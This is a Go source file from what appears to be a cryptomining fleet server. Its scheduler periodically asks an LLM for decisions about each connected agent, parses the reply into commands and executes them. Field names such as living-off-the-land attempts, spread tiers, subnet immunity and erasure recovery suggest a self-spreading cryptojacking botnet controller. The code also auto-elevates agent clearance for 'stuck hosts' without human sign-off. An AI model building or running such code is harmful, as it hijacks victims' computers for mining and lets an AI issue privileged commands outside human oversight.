AetherForge/server/internal/ai/scheduler.go

package ai

import (
	"context"
	"crypto/sha256"
	"encoding/hex"
	"log"
	"strings"
	"sync"
	"time"

	"crypto-miner-server/internal/clearance"
	"crypto-miner-server/internal/strategy"
)

// SnapshotProvider supplies live agent telemetry for decision cycles.
type SnapshotProvider interface {
	ConnectedAgentIDs() []string
	AgentSnapshot(agentID string) (AgentSnapshot, bool)
}

// CommandExecutor runs parsed fleet commands.
type CommandExecutor interface {
	Execute(agentID string, cmd Command) (summary string, err error)
}

// ConfigProvider reads current Fleet AI Control settings.
type ConfigProvider interface {
	AIConfig() Config
}

// DecisionStore persists decision audit rows.
type DecisionStore interface {
	InsertAIDecision(agentID, promptHash, response, commandsExecuted string, court *CourtDecisionMeta) error
}

// ClearanceElevator raises agent clearance for stuck-host recovery.
type ClearanceElevator interface {
	Level(agentID string) int
	RequestElevation(agentID string, toLevel int, reason, source string) (int, error)
}

// Scheduler runs periodic LLM decisions for online agents.
type Scheduler struct {
	cfg      ConfigProvider
	snap     SnapshotProvider
	exec     CommandExecutor
	store    DecisionStore
	court    CourtContext
	chamber  CourtDeps
	elevator ClearanceElevator
	seer     SeerBridge
	surgical SurgicalDeps
	stop     chan struct{}
	wg       sync.WaitGroup

	lastRunMu sync.Mutex
	lastRun   map[string]time.Time
}

func NewScheduler(cfg ConfigProvider, snap SnapshotProvider, exec CommandExecutor, store DecisionStore, court CourtContext, elevator ClearanceElevator) *Scheduler {
	return &Scheduler{
		cfg:      cfg,
		snap:     snap,
		exec:     exec,
		store:    store,
		court:    court,
		elevator: elevator,
		stop:     make(chan struct{}),
		lastRun:  make(map[string]time.Time),
	}
}

// SetSeerBridge attaches The Seer memory/stream hooks (optional).
func (s *Scheduler) SetSeerBridge(b SeerBridge) {
	s.seer = b
}

// SetSurgicalDeps wires Path Tracer replay, strain memory, and Seer emitters.
func (s *Scheduler) SetSurgicalDeps(deps SurgicalDeps) {
	s.surgical = deps
}

// SetCourtDeps wires adversarial chamber evidence, Seer feed, and Emberwake broadcast.
func (s *Scheduler) SetCourtDeps(deps CourtDeps) {
	s.chamber = deps
}

func (s *Scheduler) Start() {
	s.wg.Add(1)
	go s.loop()
}

func (s *Scheduler) Stop() {
	close(s.stop)
	s.wg.Wait()
}

func (s *Scheduler) loop() {
	defer s.wg.Done()
	ticker := time.NewTicker(5 * time.Second)
	defer ticker.Stop()
	for {
		select {
		case <-s.stop:
			return
		case <-ticker.C:
			s.tick()
		}
	}
}

// Tick runs one scheduler pass (exported for tests).
func (s *Scheduler) Tick() {
	s.tick()
}

// ResetLastRunForTest backs up lastRun so the next Tick runs immediately (tests only).
func (s *Scheduler) ResetLastRunForTest(agentID string, ago time.Duration) {
	s.lastRunMu.Lock()
	defer s.lastRunMu.Unlock()
	if s.lastRun == nil {
		s.lastRun = make(map[string]time.Time)
	}
	s.lastRun[agentID] = time.Now().Add(-ago)
}

func (s *Scheduler) tick() {
	if s.cfg == nil || s.snap == nil {
		return
	}
	cfg := s.cfg.AIConfig()
	if !cfg.Enabled {
		return
	}
	interval := time.Duration(cfg.IntervalSec) * time.Second
	if interval < time.Second {
		interval = 60 * time.Second
	}
	ids := s.snap.ConnectedAgentIDs()
	for i, agentID := range ids {
		if !s.shouldRun(agentID, interval, i) {
			continue
		}
		s.runAgent(context.Background(), agentID, cfg)
	}
}

func (s *Scheduler) shouldRun(agentID string, interval time.Duration, staggerIndex int) bool {
	s.lastRunMu.Lock()
	defer s.lastRunMu.Unlock()
	last, ok := s.lastRun[agentID]
	if !ok {
		offset := time.Duration(staggerIndex%max(1, int(interval/time.Second))) * time.Second
		if offset > 0 {
			s.lastRun[agentID] = time.Now().Add(-interval + offset)
		}
		return true
	}
	return time.Since(last) >= interval
}

func (s *Scheduler) markRun(agentID string) {
	s.lastRunMu.Lock()
	s.lastRun[agentID] = time.Now()
	s.lastRunMu.Unlock()
}

func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
	snap, ok := s.snap.AgentSnapshot(agentID)
	if !ok {
		return
	}
	s.maybeAutoElevate(agentID, snap, cfg)
	if s.elevator != nil {
		snap.ClearanceLevel = s.elevator.Level(agentID)
	}
	var systemPrompt, userPrompt string
	var courtMeta *CourtDecisionMeta
	useSurgical := false
	if s.surgical.Trace != nil {
		if trace, ok := s.surgical.Trace.TraceForAgent(agentID); ok && ShouldUseSurgicalReplay(trace, snap) {
			useSurgical = true
			erasureOn := false
			if s.surgical.ErasureActive != nil {
				erasureOn = s.surgical.ErasureActive()
			}
			atlasSummary := ""
			if s.court != nil {
				goos := firstNonEmpty(snap.GOOS, snap.Platform)
				atlasSummary = s.court.FailureAtlasSummary(snap.FingerprintKey, goos)
			}
			bundle := BuildSurgicalDiagnosticBundle(snap, trace, atlasSummary, cfg.Persona, erasureOn)
			if s.surgical.StrainLookup != nil {
				bundle.Strain = s.surgical.StrainLookup(agentID)
			}
			systemPrompt, userPrompt = BuildSurgicalReplayPrompt(bundle)
		}
	}
	useCourt := !useSurgical && ShouldUseCourt(snap)
	var courtDebate CourtDebateTranscript
	if useCourt {
		atlasSummary := ""
		var phenotype *strategy.FleetPhenotype
		var evidence CourtChamberEvidence
		if s.court != nil {
			goos := firstNonEmpty(snap.GOOS, snap.Platform)
			atlasSummary = s.court.FailureAtlasSummary(snap.FingerprintKey, goos)
			if p, ok := s.court.BestPhenotype(snap.FingerprintKey, goos); ok {
				phenotype = p
			}
		}
		if s.chamber.Chamber != nil {
			evidence = s.chamber.Chamber.ChamberEvidence(agentID, snap)
		} else {
			evidence = CourtChamberEvidence{
				AgentID: agentID, AgentName: snap.Name, Hashrate: snap.MiningHashrate,
				Stuck: snap.Stuck, ChainExhausted: snap.ChainExhausted,
				ClearanceLevel: snap.ClearanceLevel, AtlasSummary: atlasSummary,
				SubnetImmune:    "chamber provider unavailable",
				ErasureRecovery: FormatErasureRecovery(false, false, false),
				GossipWhispers:  "none",
			}
		}
		persona := NormalizePersona(cfg.Persona)
		var bundle CourtPromptBundle
		courtDebate, bundle = BuildCourtDebate(snap, evidence, phenotype, persona)
		systemPrompt = bundle.SystemPrompt
		userPrompt = bundle.UserPrompt
		courtMeta = &CourtDecisionMeta{
			CourtSession:      true,
			ProsecutorSnippet: bundle.ProsecutorSnippet,
			DefenderSnippet:   bundle.DefenderSnippet,
		}
	} else if !useSurgical {
		systemPrompt = PersonaSystemPrompt(cfg.Persona)
		userPrompt = BuildMissionPrompt(snap)
	}
	if s.seer != nil {
		systemPrompt = strings.TrimSpace(systemPrompt + "\n\n" + SeerNoteInstruction + "\n\n" + SeerToolCatalog)
		if notes := s.seer.NotesForPrompt(agentID); notes != "" {
			userPrompt = AugmentUserPromptWithNotes(userPrompt, notes)
		}
	}
	promptHash := hashPrompt(systemPrompt + "\n---\n" + userPrompt)

	decide := Decide
	if DecideFunc != nil {
		decide = DecideFunc
	}
	if s.seer != nil {
		s.seer.EmitEvent(agentID, "request", BuildChatCompletionPayload(cfg.Model, systemPrompt, userPrompt))
	}
	response, err := decide(ctx, cfg.Endpoint, cfg.Model, systemPrompt, userPrompt)
	if err != nil {
		log.Printf("[fleet-ai] agent %s decide: %v", agentID, err)
		if s.store != nil {
			_ = s.store.InsertAIDecision(agentID, promptHash, "", "error:"+err.Error(), courtMeta)
		}
		if s.seer != nil {
			s.seer.EmitEvent(agentID, "response", map[string]interface{}{"error": err.Error()})
		}
		s.markRun(agentID)
		return
	}

	if s.seer != nil {
		s.seer.EmitEvent(agentID, "response", map[string]interface{}{"content": response})
		if note, ok := ExtractSeerNote(response); ok {
			_ = s.seer.AppendNote(agentID, note, promptHash)
		}
	}

	if courtMeta != nil {
		courtMeta.JudgeVerdict = ExtractJudgeVerdict(response)
	}
	cmds := ParseCommands(response)
	if useCourt {
		cmds = ExpandCourtCommands(cmds)
		s.ensureCourtRetryClearance(agentID, cmds)
		courtDebate = FinalizeCourtDebate(courtDebate, response)
	}
	if useSurgical {
		s.runSurgicalReplay(agentID, snap, cmds, response, promptHash)
		s.markRun(agentID)
		return
	}
	results := make([]string, 0, len(cmds))
	for _, cmd := range cmds {
		if cmd.Type == CmdNoop {
			results = append(results, "ok")
			continue
		}
		if s.exec == nil {
			results = append(results, "no executor")
			continue
		}
		sum, execErr := s.exec.Execute(agentID, cmd)
		if execErr != nil {
			results = append(results, "err:"+execErr.Error())
		} else {
			results = append(results, sum)
		}
	}
	executed := FormatExecuted(cmds, results)
	if useCourt {
		s.emitCourtDebate(agentID, courtDebate, executed)
	}
	if s.store != nil {
		_ = s.store.InsertAIDecision(agentID, promptHash, response, executed, courtMeta)
	}
	s.markRun(agentID)
}

func (s *Scheduler) emitCourtDebate(agentID string, transcript CourtDebateTranscript, executed string) {
	seer := s.chamber.Seer
	if seer == nil {
		seer = s.surgical.Seer
	}
	if seer != nil {
		_ = seer.EmitSeerEvent("court_debate", agentID, map[string]interface{}{
			"type":       "court_debate",
			"agent_id":   transcript.AgentID,
			"agent_name": transcript.AgentName,
			"clearance":  transcript.ClearanceLevel,
			"evidence":   transcript.Evidence,
			"transcript": transcript.Transcript,
			"verdict":    transcript.Verdict,
			"commands":   transcript.CommandsJSON,
			"executed":   executed,
			"ts":         transcript.Timestamp,
		})
	}
	if s.chamber.Emberwake != nil {
		s.chamber.Emberwake(agentID, transcript)
	}
}

func (s *Scheduler) runSurgicalReplay(agentID string, snap AgentSnapshot, cmds []Command, response, promptHash string) {
	trace := SurgicalTraceContext{}
	if s.surgical.Trace != nil {
		trace, _ = s.surgical.Trace.TraceForAgent(agentID)
	}
	failedTier, _ := firstFailedSpreadTier(snap.LOTLAttempts)
	strain := ""
	if s.surgical.StrainLookup != nil {
		strain = s.surgical.StrainLookup(agentID)
	}

	surgical, ok := SelectSurgicalCommand(cmds)
	if !ok {
		if s.store != nil {
			_ = s.store.InsertAIDecision(agentID, promptHash, response, "surgical:no_command", nil)
		}
		return
	}

	expanded := ExpandSurgicalCommand(surgical)
	s.ensureSurgicalClearance(agentID, expanded)
	var dispatched Command
	var outcome string
	for _, cmd := range expanded {
		if cmd.Type == CmdNoop {
			continue
		}
		dispatched = cmd
		if s.exec == nil {
			outcome = "no executor"
			break
		}
		sum, execErr := s.exec.Execute(agentID, cmd)
		if execErr != nil {
			outcome = "err:" + execErr.Error()
		} else {
			outcome = sum
		}
		break
	}
	if outcome == "" {
		outcome = "noop"
	}

	fixType := surgical.Type
	if dispatched.Type != "" && dispatched.Type != surgical.Type {
		fixType = surgical.Type + "→" + dispatched.Type
	}
	fixArgs := FormatSurgicalFixArgs(surgical)
	if s.surgical.Strain != nil {
		_ = s.surgical.Strain.InsertStrainMemory(agentID, trace.SessionID, failedTier, strain, fixType, fixArgs, outcome)
	}
	if s.surgical.Seer != nil {
		_ = s.surgical.Seer.EmitSeerEvent("surgical_replay", agentID, map[string]interface{}{
			"session_id":  trace.SessionID,
			"failed_tier": failedTier,
			"strain":      strain,
			"fix_type":    fixType,
			"fix_args":    fixArgs,
			"outcome":     outcome,
			"prompt_hash": promptHash,
			"response":    response,
		})
	}
	executed := fixType + ":" + outcome
	if s.store != nil {
		_ = s.store.InsertAIDecision(agentID, promptHash, response, "surgical:"+executed, nil)
	}
}

const stuckHostFailedTierThreshold = 14

func (s *Scheduler) ensureSurgicalClearance(agentID string, cmds []Command) {
	if s.elevator == nil || len(cmds) == 0 {
		return
	}
	required := clearance.L0
	for _, c := range cmds {
		if lvl := clearance.CommandRequiredLevel(c.Type, c.Args); lvl > required {
			required = lvl
		}
	}
	if required <= clearance.L0 || s.elevator.Level(agentID) >= required {
		return
	}
	if _, err := s.elevator.RequestElevation(agentID, required, "surgical replay fix", "ai_surgical"); err != nil {
		log.Printf("[fleet-ai] agent %s surgical clearance: %v", agentID, err)
	}
}

func (s *Scheduler) ensureCourtRetryClearance(agentID string, cmds []Command) {
	if !CourtCommandsNeedRetryElevation(cmds) || s.elevator == nil {
		return
	}
	if s.elevator.Level(agentID) >= CourtRetryClearanceLevel {
		return
	}
	if _, err := s.elevator.RequestElevation(agentID, CourtRetryClearanceLevel, "court-mandated retry", "ai_court"); err != nil {
		log.Printf("[fleet-ai] agent %s court retry clearance: %v", agentID, err)
	}
}

func (s *Scheduler) maybeAutoElevate(agentID string, snap AgentSnapshot, cfg Config) {
	if !cfg.AutoElevateClearance || s.elevator == nil {
		return
	}
	if !snap.Stuck || snap.FailedTierCount < stuckHostFailedTierThreshold {
		return
	}
	if s.elevator.Level(agentID) >= clearance.L4 {
		return
	}
	if _, err := s.elevator.RequestElevation(agentID, clearance.L4, "stuck host recovery", "ai_scheduler"); err != nil {
		log.Printf("[fleet-ai] agent %s clearance elevation: %v", agentID, err)
	}
}

func hashPrompt(prompt string) string {
	h := sha256.Sum256([]byte(prompt))
	return hex.EncodeToString(h[:8])
}

// DecideFunc allows tests to override LLM calls.
var DecideFunc func(ctx context.Context, endpoint, model, systemPrompt, userPrompt string) (string, error)

func max(a, b int) int {
	if a > b {
		return a
	}
	return b
}